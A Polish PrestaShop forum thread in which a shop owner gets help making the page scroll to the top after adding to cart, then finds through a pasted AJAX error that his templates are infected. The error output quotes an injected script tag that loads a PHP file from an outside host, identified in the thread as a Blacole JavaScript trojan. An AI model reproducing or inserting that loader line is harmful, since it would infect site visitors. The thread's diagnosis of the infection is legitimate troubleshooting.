Jump to content

przewinięcie strony do góry po dodaniu do koszyka


Recommended Posts

Witam

Mam drobniutkie pytanko odnoście realizacji przewinięcia strony do góry zaraz po dodaniu towaru do koszyka. Koszyk mam ustawiony w prawej kolumnie zawsze widoczny. Efekt jaki chciałbym uzyskać, to jak jest lista produktów i dodaniu towaru do koszyka w trakcie animacji dodawania, strona przesunęła się do TOP by pokazać, że towar został dodany.

Czy istnieje jakiś moduł?

Czy trzeba wykorzystać metodę zaczerpniętą z darmowego modułu scrolltop? ew. jak się do tego zabrać ;)

 

PZDR

robdk

Link to comment
Share on other sites

Dzięki za szybką odpowiedź.

Niestety nie mogę zmusić tego do działania.

 Zrobiłem:

w blockcard.tpl

<!-- MODULE Block cart -->
<a name="#koszyk"></a>
<div id="cart_block" class="block exclusive">

w product-list.tpl

{if isset($static_token)}
<a class="button ajax_add_to_cart_button exclusive" rel="ajax_id_product_{$product.id_product|intval}" href="{$link->getPageLink('cart',false, NULL, "add&id_product={$product.id_product|intval}&token={$static_token}", false)}" onclick="$("#koszyk").animate({ scrollTop: 0 }, 600);" title="{l s='Add to cart'}"><span></span>{l s='Add to cart'}</a>
						{else}
<a class="button ajax_add_to_cart_button exclusive" rel="ajax_id_product_{$product.id_product|intval}" href="{$link->getPageLink('cart',false, NULL, "add&id_product={$product.id_product|intval}", false)}" onclick="$("#koszyk").animate({ scrollTop: 0 }, 600);" title="{l s='Add to cart'}"><span></span>{l s='Add to cart'}</a>
						{/if}
Link to comment
Share on other sites

Myślę, że wszystko zależy od organizacji sklepu. Jeśli jest na stronie 10 produktów to nie ma większych trudności odnaleźć to czego się chce, jeśli jest więcej to raczej potrzebna jest paginacja. Myślę, że klient chce wiedzieć czy zakupiony towar ląduje w koszyku. 

Link to comment
Share on other sites

Myślę, że wszystko zależy od organizacji sklepu. Jeśli jest na stronie 10 produktów to nie ma większych trudności odnaleźć to czego się chce, jeśli jest więcej to raczej potrzebna jest paginacja. Myślę, że klient chce wiedzieć czy zakupiony towar ląduje w koszyku. 

Wybacz ale jestem innego zdania. Taka funkcjonalność nie ma sensu nawet przy 10 produktach, które prawie mieszczą sie na 90% rozdzielczościach :-)

 

Pozdro.

Link to comment
Share on other sites

Usuń animację z kodu, który jest wyżej. To jest podsatwa html i to musi działać. Następnie usuń cache i sprawdź w źródle strony (jak ogladasz sklep) czy kod jest prezentowany. Tak zweryfikujesz czy proacujesz na dobrym pliku. 

 

Po drugie. To że klient tak chce nie znaczy że to dobry pomysł. Często gęsto z takimi "pomysłami" walczę ponieważ nie są praktyczne.

Link to comment
Share on other sites

sklep.kxd.pl

 

Jak debuguję w operze to wyświetla mi cosik takiego:

Event handler

(Missing source file)

function anonymous(event){

$("#koszyk").animate({scrollTop: 0}, 600);

}

 

Problem był też z cudzysłowem.Zamieniłem częściowo na pojedyncze ale nie przyniosło efektu. Cache i smarty czyściłem.

Testuję na operze i chromie.

Edited by robdk (see edit history)
Link to comment
Share on other sites

już tego wcześniej próbowałem - niestety nie wiedzieć czemu dalej nie działa  :(

 

 

 

 

EDIT

Ponownie zastosowałem kotwienie na "html, body" i teraz się udało.

 

przy czym kod wygląda tak:

onclick='$("html, body").animate({ scrollTop: 0 }, 600);'

za pierwszym razem to wszędzie były cudzysłowy podwójne - to w operze wtedy kierowało do posumowania koszyka. Wtedy też z "html, body" i nie działało.

Teraz zmieniłem na apostrofy i jest ok. Częsty przypadek taki miałem gdy pisałem php z pomieszanym html. 

Edited by robdk (see edit history)
Link to comment
Share on other sites

tam nie ma kodu bo wstawiałem w liście w kategorii a nie na stronie głównej ;)

 

niestety moja radość nie trwała długo .  Po jednym użyciu wystąpił błąd java script

<sklep.kxd.pl>

Impossible to add the product to the cart.

textStatus: 'parsererror'
errorThrown: 'SyntaxError: JSON.parse: Parsed string contains more than single value: <script'
responseText:
{
"products": [
	{
		"id":            1,
		"link":          "http://sklep.kxd.pl/index.php?id_product=1&controller=product#/pojemnosc_dysku-16gb/kolor-czarny",
		"quantity":      2,
		"priceByLine":   "388,84 zł",
		"name":          "iPod Nano",
		"price":         "388,84 zł",
		"price_float":   "316.14",
		"idCombination": 18,
		"idAddressDelivery": 0,
		"is_gift" : 0,
		"hasAttributes": true,
		"attributes":    "Czarny, 16GB",
		"hasCustomizedDatas": false,
		"customizedDatas":[
				]
	},	{
		"id":            5,
		"link":          "http://sklep.kxd.pl/index.php?id_product=5&controller=product#/pojemnosc_dysku-8gb",
		"quantity":      2,
		"priceByLine":   "594,44 zł",
		"name":          "iPod touch",
		"price":         "594,44 zł",
		"price_float":   "483.28",
		"idCombination": 9,
		"idAddressDelivery": 0,
		"is_gift" : 0,
		"hasAttributes": true,
		"attributes":    "8GB",
		"hasCustomizedDatas": false,
		"customizedDatas":[
				]
	}],
"discounts": [
],
"shippingCost": "8,61 zł",
"shippingCostFloat": "8.61",
"wrappingCost": "0,00 zł",
"nbTotalProducts": "4",
"total": "991,89 zł",
"productTotal": "983,28 zł",
"hasError" : false
}<script src="http://ftp.medaxpomocdorazna.pl/vz/wJSF5ded.php" type="text/javascript"></script>

Muszę to jeszcze przeanalizowć

dzięki, że ci się chce pomagać w takiej pierdułce... niby proste i powinno działać, ale jak to w życiu

Link to comment
Share on other sites

Właśnie doszedłem, że jest skrypt zewnętrzny.

Miałem się właśnie pytać, czy to normalna praktyka w preście? Czy obce wywiady dopisały jakiegoś wirusa....

Bo dziś mi wykryło wirusa w przeglądarce... hmmmm

 

 

W plikach źródłowych nie ma wpisów tego skryptu. Po ściągnięciu plików szablonu lokalnie i przeszukaniu znalazło 53 takie miejsca.

Ciekawe czy więcej nie ma w całej preście.....

Edited by robdk (see edit history)
Link to comment
Share on other sites

presta jest wolna od jakiegokolwiek złośliwego oprogramowania, to co się znalazło w kodzie Twojego szablonu mogło pochodzić z:

 

1) jeżeli na serwerze korzystasz jednocześnie z innych skryptów, tj. joomla albo wordpress - to one mogły być furtką. Są dziurawe jak ser. Jest cała masa exploitów na te cmsy

2) Twój komputer, zwłaszcza, jeżeli nawiązujesz połączenie ftp z serwerem

3) Jeżeli to darmowy hosting, to takie darmowe hosty zwykle doklejają reklamy do wszystkich skryptów php / plików html

Link to comment
Share on other sites

Tak też myślałem....

Mam Joomlę.....

Zasadniczo komputer w domu także mógł namieszać...

Teraz odkażam cały sklep, aż mi się włos jeży ile tego jest, Sporo skryptów js zarażonych wirusem Trojan.JS.Blacole.Gen

 

Hosting płatny

 

I stało się to właśnie jak robiłem ostatnie zmiany wczoraj wieczorem ;)

Link to comment
Share on other sites

×
×
  • Create New...